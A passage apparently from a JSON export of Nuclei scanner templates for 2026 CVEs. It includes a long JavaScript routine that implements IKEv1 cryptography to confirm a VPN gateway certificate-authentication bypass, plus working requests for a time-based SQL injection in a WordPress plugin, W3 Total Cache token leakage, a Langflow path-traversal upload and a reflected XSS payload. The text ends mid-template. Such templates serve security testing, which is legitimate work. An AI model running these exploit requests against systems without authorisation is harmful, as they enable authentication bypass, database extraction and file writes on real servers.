else{f=(hb^hc^d)>>>0;k=0xCA62C1D6;}\n              const t=(((a<<5)|(a>>>27))>>>0)+f+e+k+W[j];\n              e=d;d=hc;hc=((hb<<30)|(hb>>>2))>>>0;hb=a;a=t>>>0;\n            }\n            H[0]=(H[0]+a)>>>0;H[1]=(H[1]+hb)>>>0;H[2]=(H[2]+hc)>>>0;\n            H[3]=(H[3]+d)>>>0;H[4]=(H[4]+e)>>>0;\n          }\n          let r=[];for(const h of H)r=r.concat(wr32(h));return r;\n        }\n\n        function hmac1(key,msg) {\n          let k=key.slice();\n          if(k.length>64)k=sha1(k);\n          while(k.length<64)k.push(0);\n          return sha1([...k.map(x=>x^0x5c),...sha1([...k.map(x=>x^0x36),...msg])]);\n        }\n\n        const SB=[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22];\n        const RC=[1,2,4,8,16,32,64,128,27,54];\n        function xt(a){return((a<<1)^(a&0x80?0x1b:0))&0xff;}\n        function gm(a,b){let r=0;for(let i=0;i<8;i++){if(b&1)r^=a;a=xt(a);b>>=1;}return r;}\n        function sw(w){return(SB[w>>>24]<<24|SB[(w>>16)&0xff]<<16|SB[(w>>8)&0xff]<<8|SB[w&0xff])>>>0;}\n        function aesKex(key){\n          let w=[];\n          for(let i=0;i<8;i++)w.push(rd32(key,i*4));\n          for(let i=8;i<60;i++){\n            let t=w[i-1];\n            if(i%8===0)t=(sw(((t<<8)|(t>>>24))>>>0)^(RC[i/8-1]<<24))>>>0;\n            else if(i%8===4)t=sw(t);\n            w.push((w[i-8]^t)>>>0);\n          }\n          return w;\n        }\n        function cbcEnc(key,iv,pt){\n          const rk=aesKex(key);\n          function aesBlk(blk){\n            let s=blk.slice();\n            function ark(r){for(let cc=0;cc<4;cc++){const w=rk[r*4+cc];s[4*cc]^=(w>>>24)&0xff;s[4*cc+1]^=(w>>>16)&0xff;s[4*cc+2]^=(w>>>8)&0xff;s[4*cc+3]^=w&0xff;}}\n            ark(0);\n            for(let r=1;r<14;r++){\n              for(let i=0;i<16;i++)s[i]=SB[s[i]];\n              let t;\n              t=s[1];s[1]=s[5];s[5]=s[9];s[9]=s[13];s[13]=t;\n              t=s[2];s[2]=s[10];s[10]=t;t=s[6];s[6]=s[14];s[14]=t;\n              t=s[3];s[3]=s[15];s[15]=s[11];s[11]=s[7];s[7]=t;\n              for(let cc=0;cc<4;cc++){const a=s[4*cc],b=s[4*cc+1],cd=s[4*cc+2],dd=s[4*cc+3];s[4*cc]=gm(2,a)^gm(3,b)^cd^dd;s[4*cc+1]=a^gm(2,b)^gm(3,cd)^dd;s[4*cc+2]=a^b^gm(2,cd)^gm(3,dd);s[4*cc+3]=gm(3,a)^b^cd^gm(2,dd);}\n              ark(r);\n            }\n            for(let i=0;i<16;i++)s[i]=SB[s[i]];\n            let t;\n            t=s[1];s[1]=s[5];s[5]=s[9];s[9]=s[13];s[13]=t;\n            t=s[2];s[2]=s[10];s[10]=t;t=s[6];s[6]=s[14];s[14]=t;\n            t=s[3];s[3]=s[15];s[15]=s[11];s[11]=s[7];s[7]=t;\n            ark(14);return s;\n          }\n          let ct=[],prev=Array.from(iv);\n          for(let i=0;i<pt.length;i+=16){const e=aesBlk(pt.slice(i,i+16).map((v,j)=>v^prev[j]));ct=ct.concat(e);prev=e;}\n          return ct;\n        }\n\n        const ISB=new Array(256);for(let i=0;i<256;i++)ISB[SB[i]]=i;\n        function aesDecBlk(blk,rk){\n          let s=blk.slice();\n          function ark(r){for(let cc=0;cc<4;cc++){const w=rk[r*4+cc];s[4*cc]^=(w>>>24)&0xff;s[4*cc+1]^=(w>>>16)&0xff;s[4*cc+2]^=(w>>>8)&0xff;s[4*cc+3]^=w&0xff;}}\n          ark(14);\n          for(let r=13;r>=1;r--){\n            let t;t=s[13];s[13]=s[9];s[9]=s[5];s[5]=s[1];s[1]=t;\n            t=s[2];s[2]=s[10];s[10]=t;t=s[6];s[6]=s[14];s[14]=t;\n            t=s[7];s[7]=s[11];s[11]=s[15];s[15]=s[3];s[3]=t;\n            for(let i=0;i<16;i++)s[i]=ISB[s[i]];\n            ark(r);\n            for(let cc=0;cc<4;cc++){const a=s[4*cc],b=s[4*cc+1],cd=s[4*cc+2],dd=s[4*cc+3];s[4*cc]=gm(14,a)^gm(11,b)^gm(13,cd)^gm(9,dd);s[4*cc+1]=gm(9,a)^gm(14,b)^gm(11,cd)^gm(13,dd);s[4*cc+2]=gm(13,a)^gm(9,b)^gm(14,cd)^gm(11,dd);s[4*cc+3]=gm(11,a)^gm(13,b)^gm(9,cd)^gm(14,dd);}\n          }\n          let t;t=s[13];s[13]=s[9];s[9]=s[5];s[5]=s[1];s[1]=t;\n          t=s[2];s[2]=s[10];s[10]=t;t=s[6];s[6]=s[14];s[14]=t;\n          t=s[7];s[7]=s[11];s[11]=s[15];s[15]=s[3];s[3]=t;\n          for(let i=0;i<16;i++)s[i]=ISB[s[i]];\n          ark(0);return s;\n        }\n        function cbcDec(key,iv,ct){\n          const rk=aesKex(key);let pt=[],prev=Array.from(iv);\n          for(let i=0;i<ct.length;i+=16){const block=ct.slice(i,i+16);const dec=aesDecBlk(block,rk);pt=pt.concat(dec.map((v,j)=>v^prev[j]));prev=block;}\n          return pt;\n        }\n\n        const DHP=BigInt(\"0x\"+\n          \"FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74\"+\n          \"020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437\"+\n          \"4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED\"+\n          \"EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF\");\n        function modpow(base,exp,mod){\n          let r=BigInt(1);base=base%mod;\n          while(exp>BigInt(0)){if(exp&BigInt(1))r=r*base%mod;exp>>=BigInt(1);base=base*base%mod;}\n          return r;\n        }\n\n        const PRIV_HEX=\n          \"00000000000000000000000000000000000000000000000000000000000000006a09e667f3bcc908\"+\n          \"b2fb1366ea957d3e3adec17512775099da2f590b0667322a5e7b54d7e9b4c2a59acf32a7a5b3e8d1\"+\n          \"c4f6a2b8e0d3791f2b4a8c0f5e931d67a8c4d2f1b7e0395c6b3a2f8e1d094c57f2a5c9e3b7d180\"+\n          \"4a39e6f8c2a450b179\";\n        const PUB_HEX=\n          \"cf9939ccf7991becadce718a5223536987d94b3507a2b35563bb35fa883c1376\"+\n          \"d33a185ff6bbdd71748a03c8a51b0b93783b3d5d7f8c7d49dc5472d5e2b598f5\"+\n          \"24bbc2d7b6cb60e12187f3b14970c294c6cc10278e0bdb7f1b1a2c49d32a0cbf\"+\n          \"b5f85404b436c3da209d801d17cc24d8e15fa115c17e16527846b0ff8337e353\";\n        const NONCE_HEX=\"6a09e667f3bcc908b2fb1366ea957d3e3adec17512775099da2f590b0667322a\";\n        const CERT_HEX=\n          \"308202f4308201dca00302010202084e75636c65690001300d06092a864886f70d01010b0500303a\"+\n          \"31183016060355040a0c0f4e75636c6569446574656374696f6e310e300c060355040b0c05757365\"+\n          \"7273310e300c06035504030c0561646d696e301e170d3234313233313030303030305a170d333431\"+\n          \"323330303030303030305a303a31183016060355040a0c0f4e75636c6569446574656374696f6e31\"+\n          \"0e300c060355040b0c057573657273310e300c06035504030c0561646d696e30820122300d06092a\"+\n          \"864886f70d01010105000382010f003082010a0282010100bf1ae034d767cef8475729e73282d821\"+\n          \"a00485c314a88ef73f87794be21a0b8e44954d023dfdf2a4f760565bec22bc5d6de5cf02a5ced6c6\"+\n          \"d048a9e6f72ba229fba2c151f5de4ef8ad4efc87c740c80bc3b5ab7f59d2e6d8a981f3e061b95103\"+\n          \"c58e35c5f84f29394a92f5834a416b5829e2602fcbe3d1f2007447bc60204b444b9330ed4c4060b8\"+\n          \"08caccd62b40f61e79fdd66f478749f937a2a4cc57673dce709cda72ed6b7743847609a2bd2e3048\"+\n          \"8e66c4cfaf682a6903c1b2032148ab597006e0f6481b57c84c4fde143f8f1b7578bc9159272706e2\"+\n          \"49997786d5fbd5b72eb182f5f1d511a5cfac396fe9a8b21b3d368a6512c8daf9889bdf255c900569\"+\n          \"0203010001300d06092a864886f70d01010b05000382010100a32194decd21c07450dfaab41d3619\"+\n          \"d1ce3f6618b0c9cc8e614433030dc102d70864ba96bac5430d1a28d483c3ea95500814c785850581\"+\n          \"affe311050740ae10750fdea82588645e6985642892ddf7cb6f7f961e4908f92f2e4f6e2a9eb3d30\"+\n          \"be6205a0f3c30cdbface9d9bc98f72d1a9f4ec8075cea78ea81d9b1b246873e006fc1d6a2c4caf46\"+\n          \"d588f546ec3f1f0251c2bc01ee8c41c52ec981e6d732f4fbe49c79b11dc431e5729e6d8f0cfa81bd\"+\n          \"1a9085de521d338832c6f29f4e1e51b498c851e8b04406a9ce2c72a94a35799806277f36eedfb828\"+\n          \"7352c2b61cb2cc2fbd548d8df57bb549964d6e443d266686bbeaeb60e5094c0dc1034c14b83abc144c\";\n        const SUBJ_HEX=\n          \"303a31183016060355040a0c0f4e75636c6569446574656374696f6e310e300c060355040b0c0575\"+\n          \"73657273310e300c06035504030c0561646d696e\";\n        function rndBytes(n){const r=[];for(let i=0;i<n;i++)r.push(Math.floor(Math.random()*256));return r;}\n        const ICOOKIE    = rndBytes(8);\n        const VPNExtFeat = h2b(\"3cf187b2474029ea46ac7fd0eaf289f500000004\");\n        const BAD_SIG    = new Array(256).fill(0x41); // 256-byte static invalid signature\n\n        function ikeHdr(ic,rc,next,exch,flags,msgId,bLen){\n          return [...ic,...rc,next,0x10,exch,flags,...wr32(msgId),...wr32(28+bLen)];\n        }\n        function ikePl(next,body){\n          const len=4+body.length;return[next,0,(len>>8)&0xff,len&0xff,...body];\n        }\n        function walkPls(data,firstType){\n          const pls=[];let off=0,nxt=firstType;\n          while(nxt&&off+4<=data.length){\n            const pl=(data[off+2]<<8)|data[off+3];\n            if(pl<4||off+pl>data.length)break;\n            pls.push({t:nxt,d:data.slice(off+4,off+pl)});\n            nxt=data[off];off+=pl;\n          }\n          return pls;\n        }\n\n        let conn;\n        try {\n          if(USE_TCPT) conn=c.Open('tcp',Host+':'+Port);\n          else conn=c.Open('udp',Host+':'+Port);\n          conn.SetTimeout(10);\n        } catch(e) { return \"ERROR: Connection failed: \"+e; }\n\n        function recvArr(){\n          try{\n            const raw=conn.Recv(65535);\n            if(!raw)return null;\n            const buf=new nb.Buffer();buf.Write(raw);\n            const hex=buf.Hex();\n            return hex&&hex.length>=8?h2b(hex):null;\n          }catch(e){return null;}\n        }\n\n        if(USE_TCPT){\n          try{\n            conn.SendHex(\"0000000c00000001000000010000000200000001\");\n            const hs=recvArr();\n            if(!hs||hs.length<9||rd32(hs,4)!==1||hs[8]!==0){\n              conn.Close();return \"NO_RESPONSE: TCPT handshake failed\";\n            }\n          }catch(e){conn.Close();return \"ERROR: TCPT handshake: \"+e;}\n        }\n\n        function sendIke(pkt){\n          if(USE_TCPT){const fr=[...wr32(pkt.length),0,0,0,2,...pkt];conn.SendHex(b2h(fr));}\n          else conn.SendHex(b2h(pkt));\n        }\n        function recvIke(){\n          const raw=recvArr();\n          if(!raw||raw.length<28)return null;\n          if(!USE_TCPT)return raw;\n          let off=0;\n          while(off+8<=raw.length){\n            const flen=rd32(raw,off),ftype=rd32(raw,off+4);\n            if(ftype===2&&flen>=28&&off+8+flen<=raw.length)return raw.slice(off+8,off+8+flen);\n            if(flen===0||flen>65536)break;\n            off+=8+flen;\n          }\n          return raw.length>=28?raw:null;\n        }\n        function parseIke(raw){\n          if(!raw||raw.length<28)return null;\n          return{rc:raw.slice(8,16),fp:raw[16],ex:raw[18],enc:!!(raw[19]&1),body:raw.slice(28)};\n        }\n\n        const PRIV=h2b(PRIV_HEX.replace(/\\s/g,\"\"));\n        const PUB =h2b(PUB_HEX.replace(/\\s/g,\"\"));\n        const NI  =h2b(NONCE_HEX);\n        const CERT=h2b(CERT_HEX.replace(/\\s/g,\"\"));\n        const SUBJ=h2b(SUBJ_HEX.replace(/\\s/g,\"\"));\n        let rcookie=new Array(8).fill(0);\n\n        const ATTRS=h2b(\"80010007800e0100800200028003000380040002\");\n        const XFORM=[...h2b(\"0000001c01010000\"),...ATTRS];           // 28 B\n        const PROP =[...h2b(\"0000002401010001\"),...XFORM];           // 36 B\n        const SA_BD=[...h2b(\"0000000100000001\"),...PROP];            // 44 B (DOI+Sit+Prop)\n        const SA_PL=ikePl(13,SA_BD);                                 // next=VID(13)\n        const VD_PL=ikePl(0,Array.from(VPNExtFeat));                 // VPNExtFeatures\n        const MM1B =[...SA_PL,...VD_PL];\n        sendIke([...ikeHdr(ICOOKIE,rcookie,1,2,0,0,MM1B.length),...MM1B]);\n\n        const mm2r=recvIke(),mm2=parseIke(mm2r);\n        if(!mm2||mm2.ex!==2||mm2.enc){conn.Close();return \"NO_CERT_REALM: No valid IKEv1 MM2 response\";}\n        rcookie=Array.from(mm2.rc);\n        if(!walkPls(mm2.body,mm2.fp).some(p=>p.t===1)){\n          conn.Close();return \"NO_CERT_REALM: Gateway did not accept RSA-SIG proposal\";\n        }\n\n        const MM3B=[...ikePl(10,PUB),...ikePl(0,NI)];\n        sendIke([...ikeHdr(ICOOKIE,rcookie,4,2,0,0,MM3B.length),...MM3B]);\n\n        const mm4r=recvIke(),mm4=parseIke(mm4r);\n        if(!mm4||mm4.ex!==2){conn.Close();return \"INCONCLUSIVE: No MM4 response\";}\n        const m4ps=walkPls(mm4.body,mm4.fp);\n        const sKE=(m4ps.find(p=>p.t===4)||{d:null}).d;   // server DH public key\n        const sNR=(m4ps.find(p=>p.t===10)||{d:null}).d;  // server nonce (Nr)\n        if(!sKE||!sNR){conn.Close();return \"INCONCLUSIVE: Missing KE/Nonce in MM4\";}\n\n        const gxy_int=modpow(BigInt(\"0x\"+b2h(sKE)),BigInt(\"0x\"+b2h(PRIV)),DHP);\n        const gxy=h2b(gxy_int.toString(16).padStart(256,\"0\"));\n        const skeyid=hmac1([...NI,...Array.from(sNR)],gxy);\n        const skd=hmac1(skeyid,[...gxy,...ICOOKIE,...rcookie,0]);\n        const ska=hmac1(skeyid,[...skd,...gxy,...ICOOKIE,...rcookie,1]);\n        const ske=hmac1(skeyid,[...ska,...gxy,...ICOOKIE,...rcookie,2]);\n        let blk=hmac1(ske,[0]);\n        let enc_key=[...blk];\n        while(enc_key.length<32){blk=hmac1(ske,blk);enc_key=[...enc_key,...blk];}\n        enc_key=enc_key.slice(0,32);\n        const iv=sha1([...PUB,...Array.from(sKE)]).slice(0,16);\n\n        const id_body=[9,0,0,0,...SUBJ];\n        const cert_body=[4/*CERT_X509_SIG*/,...CERT];\n        let inner=[...ikePl(6,id_body),...ikePl(9,cert_body),...ikePl(0,BAD_SIG)];\n        const pad=(16-(inner.length%16))%16;\n        for(let i=0;i<pad;i++)inner.push(0);\n        const ct=cbcEnc(enc_key,iv,inner);\n        const mm6_iv=ct.slice(-16);\n        sendIke([...ikeHdr(ICOOKIE,rcookie,5,2,0x01/*ENC*/,0,ct.length),...ct]);\n\n        let result=\"INCONCLUSIVE: No decisive response from gateway\";\n        for(let attempt=0;attempt<6;attempt++){\n          const mm6r=recvIke(),mm6=parseIke(mm6r);\n          if(!mm6)continue;\n          if(mm6.ex===5){result=\"REJECTED: Gateway rejected authentication for '\"+Username+\"'\";break;}\n          if(mm6.ex===2&&mm6.enc){\n            let gwIp=Host;\n            try{\n              const dec=cbcDec(enc_key,mm6_iv,Array.from(mm6.body));\n              const pls6=walkPls(dec,mm6.fp);\n              const idp=pls6.find(p=>p.t===5);\n              if(idp&&idp.d.length>=8&&idp.d[0]===1)gwIp=idp.d[4]+\".\"+idp.d[5]+\".\"+idp.d[6]+\".\"+idp.d[7];\n            }catch(e){}\n            result=\"BYPASSED: Certificate-auth bypass confirmed for '\"+Username+\"'. Gateway-IP:\"+gwIp;\n            break;\n          }\n        }\n        conn.Close();\n        return result;\n      })()\n\n    args:\n      Host: \"{{Host}}\"\n      Port: 500\n      Username: \"admin\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"BYPASSED\"\n\n      - type: word\n        words:\n          - \"Certificate-auth bypass confirmed\"\n\n    extractors:\n      - type: regex\n        name: gateway-ip\n        regex:\n          - \"Gateway-IP:([0-9.]+)\"\n        group: 1\n# digest: 4b0a00483046022100b407fab99a8cc6edb5f04546cef923f32d5751558569ed2396cbc3c6e8da151c022100bdeb1ca974d5d0035aaf0282f44349f033c377042302a54437aedbbea6fb52d3:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-50751.yaml","vuln_id":"cve-2026-50751"},{"raw":"id: CVE-2026-5073\n\ninfo:\n  name: WordPress ARMember Premium <= 7.3.1 - Unauthenticated SQL Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The ARMember Premium plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the 'arm_directory_paging_action' AJAX action in all versions up to, and including, 7.3.1. This is due to insufficient escaping on the user-supplied 'order' and 'orderby' parameters and the lack of sufficient preparation on the existing SQL query in the `arm_get_directory_members()` function.\n  impact: |\n    This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n  remediation: |\n    Update ARMember Premium to version 7.3.2 or later.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/armember/vulnerability/wordpress-armember-premium-membership-plugin-content-restriction-member-levels-user-profile-user-signup-plugin-7-3-1-unauthenticated-sql-injection-vulnerability\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/b5f6d2a2-ad3e-4afc-b6fd-745881d85b6b\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-5073\n    - https://codecanyon.net/item/armember-complete-wordpress-membership-system/17785056\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-5073\n    epss-score: 0.01383\n    epss-percentile: 0.72248\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: reputeinfosystems\n    product: armember\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/armember-membership/\"\n    fofa-query: body=\"/wp-content/plugins/armember-membership/\"\n  tags: cve,cve2026,sqli,time-based-sqli,wordpress,wp,wp-plugin,armember,unauth,vkev\n\nflow: |\n  http(\"detect\") && http(\"get-nonce\") && http(\"sqli\")\n\nhttp:\n  - id: detect\n    method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/armember-membership/readme.txt\"\n\n    matchers:\n      - type: word\n        words:\n          - \"ARMember\"\n        internal: true\n\n  - id: get-nonce\n    method: GET\n    path:\n      - \"{{BaseURL}}/index.php?rest_route=/wp/v2/pages&per_page=100\"\n\n    extractors:\n      - type: regex\n        name: nonce\n        internal: true\n        group: 1\n        regex:\n          - \"name='arm_wp_nonce'[^>]*value='([a-f0-9]+)'\"\n\n    matchers:\n      - type: word\n        words:\n          - \"arm_wp_nonce\"\n        internal: true\n\n  - id: sqli\n    raw:\n      - |\n        @timeout: 15s\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=arm_directory_paging_action&pagination=infinite&id=1&type=directory&orderby=display_name,IF(1=1,SLEEP(6),0)&order=ASC&per_page=10&current_page=1&arm_wp_nonce={{nonce}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=6\"\n\n      - type: word\n        part: body\n        words:\n          - \"arm_directory_paging_container\"\n# digest: 4b0a00483046022100fdf8bb9e9e16d6a85221df51e41b104e03b8f8c86b52bb9c78a5bc175612e67f0221009249ebca106ac61097ed2b73ffbb5615c674a758c45f70143bc3322168cb5828:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-5073.yaml","vuln_id":"cve-2026-5073"},{"raw":"id: CVE-2026-5032\n\ninfo:\n  name: W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure\n  author: prithvee07\n  severity: high\n  description: |\n    The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string \"W3 Total Cache\", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, the raw mfunc/mclude HTML comments - which embed the per-site W3TC_DYNAMIC_SECURITY token - are therefore rendered directly into the page source instead of being processed and stripped, letting an unauthenticated attacker harvest the token by comparing a normal response against one sent with the magic User-Agent.\n  impact: |\n    Unauthenticated attackers can leak the site's W3TC_DYNAMIC_SECURITY token, which can then be used to craft valid mfunc/mclude dynamic fragment tags and execute arbitrary PHP code on sites that have fragment caching enabled with existing dynamic fragment tags.\n  remediation: |\n    Update the W3 Total Cache plugin to version 2.9.4 or later.\n  reference:\n    - https://github.com/advisories/GHSA-fxg7-rh9m-q77p\n    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.3/Generic_Plugin.php#L1016\n    - https://plugins.trac.wordpress.org/changeset/3495959/w3-total-cache\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a65eb62d-847b-4f3a-848b-1290e3118c01?source=cve\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-5032\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-5032\n    epss-score: 0.03211\n    epss-percentile: 0.88216\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: boldgrid\n    product: w3-total-cache\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/w3-total-cache\"\n    fofa-query: body=\"wp-content/plugins/w3-total-cache\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,w3-total-cache,exposure,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - '!regex(\"<!--\\\\s*(mfunc|mclude)\\\\s+\\\\S+\", body)'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: W3 Total Cache\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: regex\n        part: body\n        regex:\n          - '<!--\\s*(?:mfunc|mclude)\\s+\\S+'\n\n    extractors:\n      - type: regex\n        name: w3tc-dynamic-security\n        part: body\n        group: 1\n        regex:\n          - '<!--\\s*(?:mfunc|mclude)\\s+(\\S+)'\n# digest: 4a0a00473045022100aff520d29c4c6c3d7b8125bdf240f3ce68c3eb331edd4a1d272cb20e1d8025ab02202f15c8941b54e74d2ea689eb0f53e3759ff72845c87370c0edb6394bdaa67e72:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-5032.yaml","vuln_id":"cve-2026-5032"},{"raw":"id: CVE-2026-5027\n\ninfo:\n  name: Langflow <= 1.8.4 - Path Traversal to RCE via File Upload\n  author: pussycat0x\n  severity: high\n  description: |\n    The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.\n  impact: |\n    Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.\n  remediation: |\n    Sanitize the 'filename' parameter to prevent path traversal or update to the latest secure version.\n  reference:\n    - https://github.com/langflow-ai/langflow/pull/12227\n    - https://github.com/0xBlackash/CVE-2026-5027\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-5027\n    epss-score: 0.39973\n    epss-percentile: 0.98632\n    cwe-id: CWE-22\n  metadata:\n    max-request: 2\n    vendor: langflow-ai\n    product: langflow\n    shodan-query: title:\"Langflow\"\n    fofa-query: title=\"Langflow\"\n  tags: cve,cve2026,langflow,lfi,intrusive,vkev\n\nflow: http(1) || http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/auto_login HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n      - |\n        POST /api/v2/files HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650\n\n        ------WebKitFormBoundarya3f2c8d9e7b14650\n        Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../tmp/{{randstr}}.txt\"\n        Content-Type: text/plain\n\n        {{randstr}}\n        ------WebKitFormBoundarya3f2c8d9e7b14650--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_2 == 201\"\n          - \"contains_all(body_2, 'id','name','path')\"\n        condition: and\n\n    extractors:\n      - type: json\n        name: access_token\n        part: body_1\n        json:\n          - \".access_token\"\n        internal: true\n\n      - type: json\n        part: body_2\n        json:\n          - \".path\"\n\n  - raw:\n      - |\n        POST /api/v1/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept: application/json\n\n        username={{username}}&password={{password}}\n\n      - |\n        POST /api/v2/files HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650\n\n        ------WebKitFormBoundarya3f2c8d9e7b14650\n        Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../tmp/{{randstr}}.txt\"\n        Content-Type: text/plain\n\n        {{randstr}}\n        ------WebKitFormBoundarya3f2c8d9e7b14650--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_2 == 201\"\n          - \"contains_all(body_2, 'id','name','path')\"\n        condition: and\n\n    extractors:\n      - type: json\n        name: access_token\n        part: body_1\n        json:\n          - \".access_token\"\n        internal: true\n\n      - type: json\n        part: body_2\n        json:\n          - \".path\"\n# digest: 490a00463044022060fd77a220a077cbde7530cee555475b6f4f82ea0b9f94c514fc45c468cc57b102207de58d2999a65e29773cb92be71594e73eaaf87bea9cb1ec50a4e8393ce5ced9:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-5027.yaml","vuln_id":"cve-2026-5027"},{"raw":"id: CVE-2026-50230\n\ninfo:\n  name: Lyrion Music Server <= 9.2.0 - Cross-Site Scripting\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    Lyrion Music Server 9.2.0 contains a reflected XSS caused by improper sanitization of the search parameter in the server.log endpoint, letting unauthenticated attackers execute arbitrary script in users' browsers.\n  impact: |\n    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing session data or performing actions on behalf of users.\n  remediation: |\n    Update to the latest version that patches this vulnerability.\n  reference:\n    - https://www.zeroscience.mk/#/advisories/ZSL-2026-5988\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-50230\n    - https://www.lyrion.org\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-50230\n    epss-score: 0.00406\n    epss-percentile: 0.35044\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: title=\"Lyrion Music Server\"\n  tags: cve,cve2026,lyrion,lms,xss,reflected,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /jsonrpc.js HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"id\":1,\"method\":\"slim.request\",\"params\":[0,[\"version\",\"?\"]]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"_version\")'\n          - 'compare_versions(lmsversion, \"<= 9.2.0\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: lmsversion\n        part: body\n        regex:\n          - '\"_version\"\\s*:\\s*\"([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        GET /server.log?search=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"><script>alert(document.domain)</script>'\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 